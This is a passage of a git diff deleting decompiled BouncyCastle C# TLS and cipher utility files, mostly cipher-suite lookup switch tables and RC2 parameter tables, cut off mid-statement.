Sha256Digest((Sha256Digest)hash), - 5 => new Sha384Digest((Sha384Digest)hash), - 6 => new Sha512Digest((Sha512Digest)hash), - _ => throw new ArgumentException("unknown HashAlgorithm", "hashAlgorithm"), - }; - } - - public static IDigest CreatePrfHash(int prfAlgorithm) - { - if (prfAlgorithm == 0) - { - return new CombinedHash(); - } - return CreateHash(GetHashAlgorithmForPrfAlgorithm(prfAlgorithm)); - } - - public static IDigest ClonePrfHash(int prfAlgorithm, IDigest hash) - { - if (prfAlgorithm == 0) - { - return new CombinedHash((CombinedHash)hash); - } - return CloneHash(GetHashAlgorithmForPrfAlgorithm(prfAlgorithm), hash); - } - - public static byte GetHashAlgorithmForPrfAlgorithm(int prfAlgorithm) - { - return prfAlgorithm switch - { - 0 => throw new ArgumentException("legacy PRF not a valid algorithm", "prfAlgorithm"), - 1 => 4, - 2 => 5, - _ => throw new ArgumentException("unknown PrfAlgorithm", "prfAlgorithm"), - }; - } - - public static DerObjectIdentifier GetOidForHashAlgorithm(byte hashAlgorithm) - { - return hashAlgorithm switch - { - 1 => PkcsObjectIdentifiers.MD5, - 2 => X509ObjectIdentifiers.IdSha1, - 3 => NistObjectIdentifiers.IdSha224, - 4 => NistObjectIdentifiers.IdSha256, - 5 => NistObjectIdentifiers.IdSha384, - 6 => NistObjectIdentifiers.IdSha512, - _ => throw new ArgumentException("unknown HashAlgorithm", "hashAlgorithm"), - }; - } - - internal static short GetClientCertificateType(Certificate clientCertificate, Certificate serverCertificate) - { - if (clientCertificate.IsEmpty) - { - return -1; - } - X509CertificateStructure certificateAt = clientCertificate.GetCertificateAt(0); - SubjectPublicKeyInfo subjectPublicKeyInfo = certificateAt.SubjectPublicKeyInfo; - try - { - AsymmetricKeyParameter asymmetricKeyParameter = PublicKeyFactory.CreateKey(subjectPublicKeyInfo); - if (asymmetricKeyParameter.IsPrivate) - { - throw new TlsFatalAlert(80); - } - if (asymmetricKeyParameter is RsaKeyParameters) - { - ValidateKeyUsage(certificateAt, 128); - return 1; - } - if (asymmetricKeyParameter is DsaPublicKeyParameters) - { - ValidateKeyUsage(certificateAt, 128); - return 2; - } - if (asymmetricKeyParameter is ECPublicKeyParameters) - { - ValidateKeyUsage(certificateAt, 128); - return 64; - } - throw new TlsFatalAlert(43); - } - catch (Exception alertCause) - { - throw new TlsFatalAlert(43, alertCause); - } - } - - internal static void TrackHashAlgorithms(TlsHandshakeHash handshakeHash, IList supportedSignatureAlgorithms) - { - if (supportedSignatureAlgorithms == null) - { - return; - } - foreach (SignatureAndHashAlgorithm supportedSignatureAlgorithm in supportedSignatureAlgorithms) - { - byte hash = supportedSignatureAlgorithm.Hash; - if (HashAlgorithm.IsRecognized(hash)) - { - handshakeHash.TrackHashAlgorithm(hash); - } - } - } - - public static bool HasSigningCapability(byte clientCertificateType) - { - switch (clientCertificateType) - { - case 1: - case 2: - case 64: - return true; - default: - return false; - } - } - - public static TlsSigner CreateTlsSigner(byte clientCertificateType) - { - return clientCertificateType switch - { - 2 => new TlsDssSigner(), - 64 => new TlsECDsaSigner(), - 1 => new TlsRsaSigner(), - _ => throw new ArgumentException("not a type with signing capability", "clientCertificateType"), - }; - } - - private static byte[][] GenSsl3Const() - { - int num = 10; - byte[][] array = new byte[num][]; - for (int i = 0; i < num; i++) - { - byte[] array2 = new byte[i + 1]; - Arrays.Fill(array2, (byte)(65 + i)); - array[i] = array2; - } - return array; - } - - private static IList VectorOfOne(object obj) - { - IList list = Platform.CreateArrayList(1); - list.Add(obj); - return list; - } - - public static int GetCipherType(int ciphersuite) - { - switch (GetEncryptionAlgorithm(ciphersuite)) - { - case 10: - case 11: - case 15: - case 16: - case 17: - case 18: - case 19: - case 20: - case 21: - case 103: - case 104: - return 2; - case 3: - case 4: - case 5: - case 6: - case 7: - case 8: - case 9: - case 12: - case 13: - case 14: - return 1; - case 0: - case 1: - case 2: - return 0; - default: - throw new TlsFatalAlert(80); - } - } - - public static int GetEncryptionAlgorithm(int ciphersuite) - { - switch (ciphersuite) - { - case 10: - case 13: - case 16: - case 19: - case 22: - case 27: - case 139: - case 143: - case 147: - case 49155: - case 49160: - case 49165: - case 49170: - case 49175: - case 49178: - case 49179: - case 49180: - case 49204: - return 7; - case 47: - case 48: - case 49: - case 50: - case 51: - case 52: - case 60: - case 62: - case 63: - case 64: - case 103: - case 108: - case 140: - case 144: - case 148: - case 174: - case 178: - case 182: - case 49156: - case 49161: - case 49166: - case 49171: - case 49176: - case 49181: - case 49182: - case 49183: - case 49187: - case 49189: - case 49191: - case 49193: - case 49205: - case 49207: - return 8; - case 49308: - case 49310: - case 49316: - case 49318: - case 49324: - return 15; - case 49312: - case 49314: - case 49320: - case 49322: - case 49326: - return 16; - case 156: - case 158: - case 160: - case 162: - case 164: - case 166: - case 168: - case 170: - case 172: - case 49195: - case 49197: - case 49199: - case 49201: - return 10; - case 65280: - case 65282: - case 65284: - case 65296: - case 65298: - case 65300: - return 103; - case 53: - case 54: - case 55: - case 56: - case 57: - case 58: - case 61: - case 104: - case 105: - case 106: - case 107: - case 109: - case 141: - case 145: - case 149: - case 175: - case 179: - case 183: - case 49157: - case 49162: - case 49167: - case 49172: - case 49177: - case 49184: - case 49185: - case 49186: - case 49188: - case 49190: - case 49192: - case 49194: - case 49206: - case 49208: - return 9; - case 49309: - case 49311: - case 49317: - case 49319: - case 49325: - return 17; - case 49313: - case 49315: - case 49321: - case 49323: - case 49327: - return 18; - case 157: - case 159: - case 161: - case 163: - case 165: - case 167: - case 169: - case 171: - case 173: - case 49196: - case 49198: - case 49200: - case 49202: - return 11; - case 65281: - case 65283: - case 65285: - case 65297: - case 65299: - case 65301: - return 104; - case 65: - case 66: - case 67: - case 68: - case 69: - case 70: - case 186: - case 187: - case 188: - case 189: - case 190: - case 191: - case 49266: - case 49268: - case 49270: - case 49272: - case 49300: - case 49302: - case 49304: - case 49306: - return 12; - case 49274: - case 49276: - case 49278: - case 49280: - case 49282: - case 49284: - case 49286: - case 49288: - case 49290: - case 49292: - case 49294: - case 49296: - case 49298: - return 19; - case 132: - case 133: - case 134: - case 135: - case 136: - case 137: - case 192: - case 193: - case 194: - case 195: - case 196: - case 197: - case 49267: - case 49269: - case 49271: - case 49273: - case 49301: - case 49303: - case 49305: - case 49307: - return 13; - case 49275: - case 49277: - case 49279: - case 49281: - case 49283: - case 49285: - case 49287: - case 49289: - case 49291: - case 49293: - case 49295: - case 49297: - case 49299: - return 20; - case 52392: - case 52393: - case 52394: - case 52395: - case 52396: - case 52397: - case 52398: - return 21; - case 1: - return 0; - case 2: - case 44: - case 45: - case 46: - case 49153: - case 49158: - case 49163: - case 49168: - case 49173: - case 49209: - return 0; - case 59: - case 176: - case 180: - case 184: - case 49210: - return 0; - case 177: - case 181: - case 185: - case 49211: - return 0; - case 4: - case 24: - return 2; - case 5: - case 138: - case 142: - case 146: - case 49154: - case 49159: - case 49164: - case 49169: - case 49174: - case 49203: - return 2; - case 150: - case 151: - case 152: - case 153: - case 154: - case 155: - return 14; - default: - throw new TlsFatalAlert(80); - } - } - - public static int GetKeyExchangeAlgorithm(int ciphersuite) - { - switch (ciphersuite) - { - case 24: - case 27: - case 52: - case 58: - case 70: - case 108: - case 109: - case 137: - case 155: - case 166: - case 167: - case 191: - case 197: - case 49284: - case 49285: - return 11; - case 13: - case 48: - case 54: - case 62: - case 66: - case 104: - case 133: - case 151: - case 164: - case 165: - case 187: - case 193: - case 49282: - case 49283: - return 7; - case 16: - case 49: - case 55: - case 63: - case 67: - case 105: - case 134: - case 152: - case 160: - case 161: - case 188: - case 194: - case 49278: - case 49279: - return 9; - case 19: - case 50: - case 56: - case 64: - case 68: - case 106: - case 135: - case 153: - case 162: - case 163: - case 189: - case 195: - case 49280: - case 49281: - return 3; - case 45: - case 142: - case 143: - case 144: - case 145: - case 170: - case 171: - case 178: - case 179: - case 180: - case 181: - case 49296: - case 49297: - case 49302: - case 49303: - case 49318: - case 49319: - case 49322: - case 49323: - case 52397: - case 65298: - case 65299: - return 14; - case 22: - case 51: - case 57: - case 69: - case 103: - case 107: - case 136: - case 154: - case 158: - case 159: - case 190: - case 196: - case 49276: - case 49277: - case 49310: - case 49311: - case 49314: - case 49315: - case 52394: - case 65280: - case 65281: - return 5; - case 49173: - case 49174: - case 49175: - case 49176: - case 49177: - return 20; - case 49153: - case 49154: - case 49155: - case 49156: - case 49157: - case 49189: - case 49190: - case 49197: - case 49198: - case 49268: - case 49269: - case 49288: - case 49289: - case 65284: - case 65285: - return 16; - case 49163: - case 49164: - case 49165: - case 49166: - case 49167: - case 49193: - case 49194: - case 49201: - case 49202: - case 49272: - case 49273: - case 49292: - case 49293: - return 18; - case 49158: - case 49159: - case 49160: - case 49161: - case 49162: - case 49187: - case 49188: - case 49195: - case 49196: - case 49266: - case 49267: - case 49286: - case 49287: - case 49324: - case 49325: - case 49326: - case 49327: - case 52393: - return 17; - case 49203: - case 49204: - case 49205: - case 49206: - case 49207: - case 49208: - case 49209: - case 49210: - case 49211: - case 49306: - case 49307: - case 52396: - case 65300: - case 65301: - return 24; - case 49168: - case 49169: - case 49170: - case 49171: - case 49172: - case 49191: - case 49192: - case 49199: - case 49200: - case 49270: - case 49271: - case 49290: - case 49291: - case 52392: - case 65282: - case 65283: - return 19; - case 44: - case 138: - case 139: - case 140: - case 141: - case 168: - case 169: - case 174: - case 175: - case 176: - case 177: - case 49294: - case 49295: - case 49300: - case 49301: - case 49316: - case 49317: - case 49320: - case 49321: - case 52395: - case 65296: - case 65297: - return 13; - case 1: - case 2: - case 4: - case 5: - case 10: - case 47: - case 53: - case 59: - case 60: - case 61: - case 65: - case 132: - case 150: - case 156: - case 157: - case 186: - case 192: - case 49274: - case 49275: - case 49308: - case 49309: - case 49312: - case 49313: - case 52398: - return 1; - case 46: - case 146: - case 147: - case 148: - case 149: - case 172: - case 173: - case 182: - case 183: - case 184: - case 185: - case 49298: - case 49299: - case 49304: - case 49305: - return 15; - case 49178: - case 49181: - case 49184: - return 21; - case 49180: - case 49183: - case 49186: - return 22; - case 49179: - case 49182: - case 49185: - return 23; - default: - throw new TlsFatalAlert(80); - } - } - - public static int GetMacAlgorithm(int ciphersuite) - { - switch (ciphersuite) - { - case 156: - case 157: - case 158: - case 159: - case 160: - case 161: - case 162: - case 163: - case 164: - case 165: - case 166: - case 167: - case 168: - case 169: - case 170: - case 171: - case 172: - case 173: - case 49195: - case 49196: - case 49197: - case 49198: - case 49199: - case 49200: - case 49201: - case 49202: - case 49274: - case 49275: - case 49276: - case 49277: - case 49278: - case 49279: - case 49280: - case 49281: - case 49282: - case 49283: - case 49284: - case 49285: - case 49286: - case 49287: - case 49288: - case 49289: - case 49290: - case 49291: - case 49292: - case 49293: - case 49294: - case 49295: - case 49296: - case 49297: - case 49298: - case 49299: - case 49308: - case 49309: - case 49310: - case 49311: - case 49312: - case 49313: - case 49314: - case 49315: - case 49316: - case 49317: - case 49318: - case 49319: - case 49320: - case 49321: - case 49322: - case 49323: - case 49324: - case 49325: - case 49326: - case 49327: - case 52392: - case 52393: - case 52394: - case 52395: - case 52396: - case 52397: - case 52398: - case 65280: - case 65281: - case 65282: - case 65283: - case 65284: - case 65285: - case 65296: - case 65297: - case 65298: - case 65299: - case 65300: - case 65301: - return 0; - case 1: - case 4: - case 24: - return 1; - case 2: - case 5: - case 10: - case 13: - case 16: - case 19: - case 22: - case 27: - case 44: - case 45: - case 46: - case 47: - case 48: - case 49: - case 50: - case 51: - case 52: - case 53: - case 54: - case 55: - case 56: - case 57: - case 58: - case 65: - case 66: - case 67: - case 68: - case 69: - case 70: - case 132: - case 133: - case 134: - case 135: - case 136: - case 137: - case 138: - case 139: - case 140: - case 141: - case 142: - case 143: - case 144: - case 145: - case 146: - case 147: - case 148: - case 149: - case 150: - case 151: - case 152: - case 153: - case 154: - case 155: - case 49153: - case 49154: - case 49155: - case 49156: - case 49157: - case 49158: - case 49159: - case 49160: - case 49161: - case 49162: - case 49163: - case 49164: - case 49165: - case 49166: - case 49167: - case 49168: - case 49169: - case 49170: - case 49171: - case 49172: - case 49173: - case 49174: - case 49175: - case 49176: - case 49177: - case 49178: - case 49179: - case 49180: - case 49181: - case 49182: - case 49183: - case 49184: - case 49185: - case 49186: - case 49203: - case 49204: - case 49205: - case 49206: - case 49209: - return 2; - case 59: - case 60: - case 61: - case 62: - case 63: - case 64: - case 103: - case 104: - case 105: - case 106: - case 107: - case 108: - case 109: - case 174: - case 176: - case 178: - case 180: - case 182: - case 184: - case 186: - case 187: - case 188: - case 189: - case 190: - case 191: - case 192: - case 193: - case 194: - case 195: - case 196: - case 197: - case 49187: - case 49189: - case 49191: - case 49193: - case 49207: - case 49210: - case 49266: - case 49268: - case 49270: - case 49272: - case 49300: - case 49302: - case 49304: - case 49306: - return 3; - case 175: - case 177: - case 179: - case 181: - case 183: - case 185: - case 49188: - case 49190: - case 49192: - case 49194: - case 49208: - case 49211: - case 49267: - case 49269: - case 49271: - case 49273: - case 49301: - case 49303: - case 49305: - case 49307: - return 4; - default: - throw new TlsFatalAlert(80); - } - } - - public static ProtocolVersion GetMinimumVersion(int ciphersuite) - { - if (ciphersuite <= 197) - { - switch (ciphersuite) - { - case 59: - case 60: - case 61: - case 62: - case 63: - case 64: - case 103: - case 104: - case 105: - case 106: - case 107: - case 108: - case 109: - case 156: - case 157: - case 158: - case 159: - case 160: - case 161: - case 162: - case 163: - case 164: - case 165: - case 166: - case 167: - case 168: - case 169: - case 170: - case 171: - case 172: - case 173: - case 186: - case 187: - case 188: - case 189: - case 190: - case 191: - case 192: - case 193: - case 194: - case 195: - case 196: - case 197: - break; - default: - goto IL_0300; - } - } - else - { - switch (ciphersuite) - { - case 49187: - case 49188: - case 49189: - case 49190: - case 49191: - case 49192: - case 49193: - case 49194: - case 49195: - case 49196: - case 49197: - case 49198: - case 49199: - case 49200: - case 49201: - case 49202: - case 49266: - case 49267: - case 49268: - case 49269: - case 49270: - case 49271: - case 49272: - case 49273: - case 49274: - case 49275: - case 49276: - case 49277: - case 49278: - case 49279: - case 49280: - case 49281: - case 49282: - case 49283: - case 49284: - case 49285: - case 49286: - case 49287: - case 49288: - case 49289: - case 49290: - case 49291: - case 49292: - case 49293: - case 49294: - case 49295: - case 49296: - case 49297: - case 49298: - case 49299: - case 49308: - case 49309: - case 49310: - case 49311: - case 49312: - case 49313: - case 49314: - case 49315: - case 49316: - case 49317: - case 49318: - case 49319: - case 49320: - case 49321: - case 49322: - case 49323: - case 49324: - case 49325: - case 49326: - case 49327: - case 52392: - case 52393: - case 52394: - case 52395: - case 52396: - case 52397: - case 52398: - case 65280: - case 65281: - case 65282: - case 65283: - case 65284: - case 65285: - case 65296: - case 65297: - case 65298: - case 65299: - case 65300: - case 65301: - break; - default: - goto IL_0300; - } - } - return ProtocolVersion.TLSv12; - IL_0300: - return ProtocolVersion.SSLv3; - } - - public static bool IsAeadCipherSuite(int ciphersuite) - { - return 2 == GetCipherType(ciphersuite); - } - - public static bool IsBlockCipherSuite(int ciphersuite) - { - return 1 == GetCipherType(ciphersuite); - } - - public static bool IsStreamCipherSuite(int ciphersuite) - { - return 0 == GetCipherType(ciphersuite); - } - - public static bool IsValidCipherSuiteForSignatureAlgorithms(int cipherSuite, IList sigAlgs) - { - int keyExchangeAlgorithm; - try - { - keyExchangeAlgorithm = GetKeyExchangeAlgorithm(cipherSuite); - } - catch (IOException) - { - return true; - } - switch (keyExchangeAlgorithm) - { - case 11: - case 12: - case 20: - return sigAlgs.Contains((byte)0); - case 5: - case 6: - case 19: - case 23: - return sigAlgs.Contains((byte)1); - case 3: - case 4: - case 22: - return sigAlgs.Contains((byte)2); - case 17: - return sigAlgs.Contains((byte)3); - default: - return true; - } - } - - public static bool IsValidCipherSuiteForVersion(int cipherSuite, ProtocolVersion serverVersion) - { - return GetMinimumVersion(cipherSuite).IsEqualOrEarlierVersionOf(serverVersion.GetEquivalentTLSVersion()); - } - - public static IList GetUsableSignatureAlgorithms(IList sigHashAlgs) - { - if (sigHashAlgs == null) - { - return GetAllSignatureAlgorithms(); - } - IList list = Platform.CreateArrayList(4); - list.Add((byte)0); - foreach (SignatureAndHashAlgorithm sigHashAlg in sigHashAlgs) - { - byte signature = sigHashAlg.Signature; - if (!list.Contains(signature)) - { - list.Add(signature); - } - } - return list; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/UrlAndHash.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/UrlAndHash.cs deleted file mode 100644 index 2535bee..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/UrlAndHash.cs +++ /dev/null @@ -1,69 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class UrlAndHash -{ - protected readonly string mUrl; - - protected readonly byte[] mSha1Hash; - - public virtual string Url => mUrl; - - public virtual byte[] Sha1Hash => mSha1Hash; - - public UrlAndHash(string url, byte[] sha1Hash) - { - if (url == null || url.Length < 1 || url.Length >= 65536) - { - throw new ArgumentException("must have length from 1 to (2^16 - 1)", "url"); - } - if (sha1Hash != null && sha1Hash.Length != 20) - { - throw new ArgumentException("must have length == 20, if present", "sha1Hash"); - } - mUrl = url; - mSha1Hash = sha1Hash; - } - - public virtual void Encode(Stream output) - { - byte[] buf = Strings.ToByteArray(mUrl); - TlsUtilities.WriteOpaque16(buf, output); - if (mSha1Hash == null) - { - TlsUtilities.WriteUint8(0, output); - return; - } - TlsUtilities.WriteUint8(1, output); - output.Write(mSha1Hash, 0, mSha1Hash.Length); - } - - public static UrlAndHash Parse(TlsContext context, Stream input) - { - byte[] array = TlsUtilities.ReadOpaque16(input); - if (array.Length < 1) - { - throw new TlsFatalAlert(47); - } - string url = Strings.FromByteArray(array); - byte[] sha1Hash = null; - switch (TlsUtilities.ReadUint8(input)) - { - case 0: - if (TlsUtilities.IsTlsV12(context)) - { - throw new TlsFatalAlert(47); - } - break; - case 1: - sha1Hash = TlsUtilities.ReadFully(20, input); - break; - default: - throw new TlsFatalAlert(47); - } - return new UrlAndHash(url, sha1Hash); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/UseSrtpData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/UseSrtpData.cs deleted file mode 100644 index 8635fb0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/UseSrtpData.cs +++ /dev/null @@ -1,32 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class UseSrtpData -{ - protected readonly int[] mProtectionProfiles; - - protected readonly byte[] mMki; - - public virtual int[] ProtectionProfiles => mProtectionProfiles; - - public virtual byte[] Mki => mMki; - - public UseSrtpData(int[] protectionProfiles, byte[] mki) - { - if (protectionProfiles == null || protectionProfiles.Length < 1 || protectionProfiles.Length >= 32768) - { - throw new ArgumentException("must have length from 1 to (2^15 - 1)", "protectionProfiles"); - } - if (mki == null) - { - mki = TlsUtilities.EmptyBytes; - } - else if (mki.Length > 255) - { - throw new ArgumentException("cannot be longer than 255 bytes", "mki"); - } - mProtectionProfiles = protectionProfiles; - mMki = mki; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/UserMappingType.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/UserMappingType.cs deleted file mode 100644 index 806eec7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/UserMappingType.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class UserMappingType -{ - public const byte upn_domain_hint = 64; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Utilities/AlgorithmIdentifierFactory.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Utilities/AlgorithmIdentifierFactory.cs deleted file mode 100644 index d23298e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Utilities/AlgorithmIdentifierFactory.cs +++ /dev/null @@ -1,84 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Kisa; -using Org.BouncyCastle.Asn1.Misc; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Ntt; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Utilities; - -public class AlgorithmIdentifierFactory -{ - public static readonly DerObjectIdentifier IDEA_CBC = new DerObjectIdentifier("1.3.6.1.4.1.188.7.1.1.2"); - - public static readonly DerObjectIdentifier CAST5_CBC = new DerObjectIdentifier("1.2.840.113533.7.66.10"); - - private static readonly short[] rc2Table = new short[256] - { - 189, 86, 234, 242, 162, 241, 172, 42, 176, 147, - 209, 156, 27, 51, 253, 208, 48, 4, 182, 220, - 125, 223, 50, 75, 247, 203, 69, 155, 49, 187, - 33, 90, 65, 159, 225, 217, 74, 77, 158, 218, - 160, 104, 44, 195, 39, 95, 128, 54, 62, 238, - 251, 149, 26, 254, 206, 168, 52, 169, 19, 240, - 166, 63, 216, 12, 120, 36, 175, 35, 82, 193, - 103, 23, 245, 102, 144, 231, 232, 7, 184, 96, - 72, 230, 30, 83, 243, 146, 164, 114, 140, 8, - 21, 110, 134, 0, 132, 250, 244, 127, 138, 66, - 25, 246, 219, 205, 20, 141, 80, 18, 186, 60, - 6, 78, 236, 179, 53, 17, 161, 136, 142, 43, - 148, 153, 183, 113, 116, 211, 228, 191, 58, 222, - 150, 14, 188, 10, 237, 119, 252, 55, 107, 3, - 121, 137, 98, 198, 215, 192, 210, 124, 106, 139, - 34, 163, 91, 5, 93, 2, 117, 213, 97, 227, - 24, 143, 85, 81, 173, 31, 11, 94, 133, 229, - 194, 87, 99, 202, 61, 108, 180, 197, 204, 112, - 178, 145, 89, 13, 71, 32, 200, 79, 88, 224, - 1, 226, 22, 56, 196, 111, 59, 15, 101, 70, - 190, 126, 45, 123, 130, 249, 64, 181, 29, 115, - 248, 235, 38, 199, 135, 151, 37, 84, 177, 40, - 170, 152, 157, 165, 100, 109, 122, 212, 16, 129, - 68, 239, 73, 214, 174, 46, 221, 118, 92, 47, - 167, 28, 201, 9, 105, 154, 131, 207, 41, 57, - 185, 233, 76, 255, 67, 171 - }; - - public static AlgorithmIdentifier GenerateEncryptionAlgID(DerObjectIdentifier encryptionOID, int keySize, SecureRandom random) - { - if (encryptionOID.Equals(NistObjectIdentifiers.IdAes128Cbc) || encryptionOID.Equals(NistObjectIdentifiers.IdAes192Cbc) || encryptionOID.Equals(NistObjectIdentifiers.IdAes256Cbc) || encryptionOID.Equals(NttObjectIdentifiers.IdCamellia128Cbc) || encryptionOID.Equals(NttObjectIdentifiers.IdCamellia192Cbc) || encryptionOID.Equals(NttObjectIdentifiers.IdCamellia256Cbc) || encryptionOID.Equals(KisaObjectIdentifiers.IdSeedCbc)) - { - byte[] array = new byte[16]; - random.NextBytes(array); - return new AlgorithmIdentifier(encryptionOID, new DerOctetString(array)); - } - if (encryptionOID.Equals(PkcsObjectIdentifiers.DesEde3Cbc) || encryptionOID.Equals(IDEA_CBC) || encryptionOID.Equals(OiwObjectIdentifiers.DesCbc)) - { - byte[] array2 = new byte[8]; - random.NextBytes(array2); - return new AlgorithmIdentifier(encryptionOID, new DerOctetString(array2)); - } - if (encryptionOID.Equals(CAST5_CBC)) - { - byte[] array3 = new byte[8]; - random.NextBytes(array3); - Cast5CbcParameters parameters = new Cast5CbcParameters(array3, keySize); - return new AlgorithmIdentifier(encryptionOID, parameters); - } - if (encryptionOID.Equals(PkcsObjectIdentifiers.rc4)) - { - return new AlgorithmIdentifier(encryptionOID, DerNull.Instance); - } - if (encryptionOID.Equals(PkcsObjectIdentifiers.RC2Cbc)) - { - byte[] array4 = new byte[8]; - random.NextBytes(array4); - RC2CbcParameter parameters2 = new RC2CbcParameter(rc2Table[128], array4); - return new AlgorithmIdentifier(encryptionOID, parameters2); - } - throw new InvalidOperationException("unable to match algorithm"); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Utilities/CipherFactory.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Utilities/CipherFactory.cs deleted file mode 100644 index 3dc386a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Utilities/CipherFactory.cs +++ /dev/null @@ -1,125 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Kisa; -using Org.BouncyCastle.Asn1.Misc; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Ntt; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto.Engines; -using Org.BouncyCastle.Crypto.Modes; -using Org.BouncyCastle.Crypto.Paddings; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Utilities; - -public class CipherFactory -{ - private static readonly short[] rc2Ekb = new short[256] - { - 93, 190, 155, 139, 17, 153, 110, 77, 89, 243, - 133, 166, 63, 183, 131, 197, 228, 115, 107, 58, - 104, 90, 192, 71, 160, 100, 52, 12, 241, 208, - 82, 165, 185, 30, 150, 67, 65, 216, 212, 44, - 219, 248, 7, 119, 42, 202, 235, 239, 16, 28, - 22, 13, 56, 114, 47, 137, 193, 249, 128, 196, - 109, 174, 48, 61, 206, 32, 99, 254, 230, 26, - 199, 184, 80, 232, 36, 23, 252, 37, 111, 187, - 106, 163, 68, 83, 217, 162, 1, 171, 188, 182, - 31, 152, 238, 154, 167, 45, 79, 158, 142, 172, - 224, 198, 73, 70, 41, 244, 148, 138, 175, 225, - 91, 195, 179, 123, 87, 209, 124, 156, 237, 135, - 64, 140, 226, 203, 147, 20, 201, 97, 46, 229, - 204, 246, 94, 168, 92, 214, 117, 141, 98, 149, - 88, 105, 118, 161, 74, 181, 85, 9, 120, 51, - 130, 215, 221, 121, 245, 27, 11, 222, 38, 33, - 40, 116, 4, 151, 86, 223, 60, 240, 55, 57, - 220, 255, 6, 164, 234, 66, 8, 218, 180, 113, - 176, 207, 18, 122, 78, 250, 108, 29, 132, 0, - 200, 127, 145, 69, 170, 43, 194, 177, 143, 213, - 186, 242, 173, 25, 178, 103, 54, 247, 15, 10, - 146, 125, 227, 157, 233, 144, 62, 35, 39, 102, - 19, 236, 129, 21, 189, 34, 191, 159, 126, 169, - 81, 75, 76, 251, 2, 211, 112, 134, 49, 231, - 59, 5, 3, 84, 96, 72, 101, 24, 210, 205, - 95, 50, 136, 14, 53, 253 - }; - - private CipherFactory() - { - } - - public static object CreateContentCipher(bool forEncryption, ICipherParameters encKey, AlgorithmIdentifier encryptionAlgID) - { - DerObjectIdentifier algorithm = encryptionAlgID.Algorithm; - if (algorithm.Equals(PkcsObjectIdentifiers.rc4)) - { - IStreamCipher streamCipher = new RC4Engine(); - streamCipher.Init(forEncryption, encKey); - return streamCipher; - } - BufferedBlockCipher bufferedBlockCipher = CreateCipher(encryptionAlgID.Algorithm); - Asn1Object asn1Object = encryptionAlgID.Parameters.ToAsn1Object(); - if (asn1Object != null && !(asn1Object is DerNull)) - { - if (algorithm.Equals(PkcsObjectIdentifiers.DesEde3Cbc) || algorithm.Equals(AlgorithmIdentifierFactory.IDEA_CBC) || algorithm.Equals(NistObjectIdentifiers.IdAes128Cbc) || algorithm.Equals(NistObjectIdentifiers.IdAes192Cbc) || algorithm.Equals(NistObjectIdentifiers.IdAes256Cbc) || algorithm.Equals(NttObjectIdentifiers.IdCamellia128Cbc) || algorithm.Equals(NttObjectIdentifiers.IdCamellia192Cbc) || algorithm.Equals(NttObjectIdentifiers.IdCamellia256Cbc) || algorithm.Equals(KisaObjectIdentifiers.IdSeedCbc) || algorithm.Equals(OiwObjectIdentifiers.DesCbc)) - { - bufferedBlockCipher.Init(forEncryption, new ParametersWithIV(encKey, Asn1OctetString.GetInstance(asn1Object).GetOctets())); - } - else if (algorithm.Equals(AlgorithmIdentifierFactory.CAST5_CBC)) - { - Cast5CbcParameters instance = Cast5CbcParameters.GetInstance(asn1Object); - bufferedBlockCipher.Init(forEncryption, new ParametersWithIV(encKey, instance.GetIV())); - } - else - { - if (!algorithm.Equals(PkcsObjectIdentifiers.RC2Cbc)) - { - throw new InvalidOperationException("cannot match parameters"); - } - RC2CbcParameter instance2 = RC2CbcParameter.GetInstance(asn1Object); - bufferedBlockCipher.Init(forEncryption, new ParametersWithIV(new RC2Parameters(((KeyParameter)encKey).GetKey(), rc2Ekb[instance2.RC2ParameterVersion.IntValue]), instance2.GetIV())); - } - } - else if (algorithm.Equals(PkcsObjectIdentifiers.DesEde3Cbc) || algorithm.Equals(AlgorithmIdentifierFactory.IDEA_CBC) || algorithm.Equals(AlgorithmIdentifierFactory.CAST5_CBC)) - { - bufferedBlockCipher.Init(forEncryption, new ParametersWithIV(encKey, new byte[8])); - } - else - { - bufferedBlockCipher.Init(forEncryption, encKey); - } - return bufferedBlockCipher; - } - - private static BufferedBlockCipher CreateCipher(DerObjectIdentifier algorithm) - { - IBlockCipher cipher; - if (NistObjectIdentifiers.IdAes128Cbc.Equals(algorithm) || NistObjectIdentifiers.IdAes192Cbc.Equals(algorithm) || NistObjectIdentifiers.IdAes256Cbc.Equals(algorithm)) - { - cipher = new 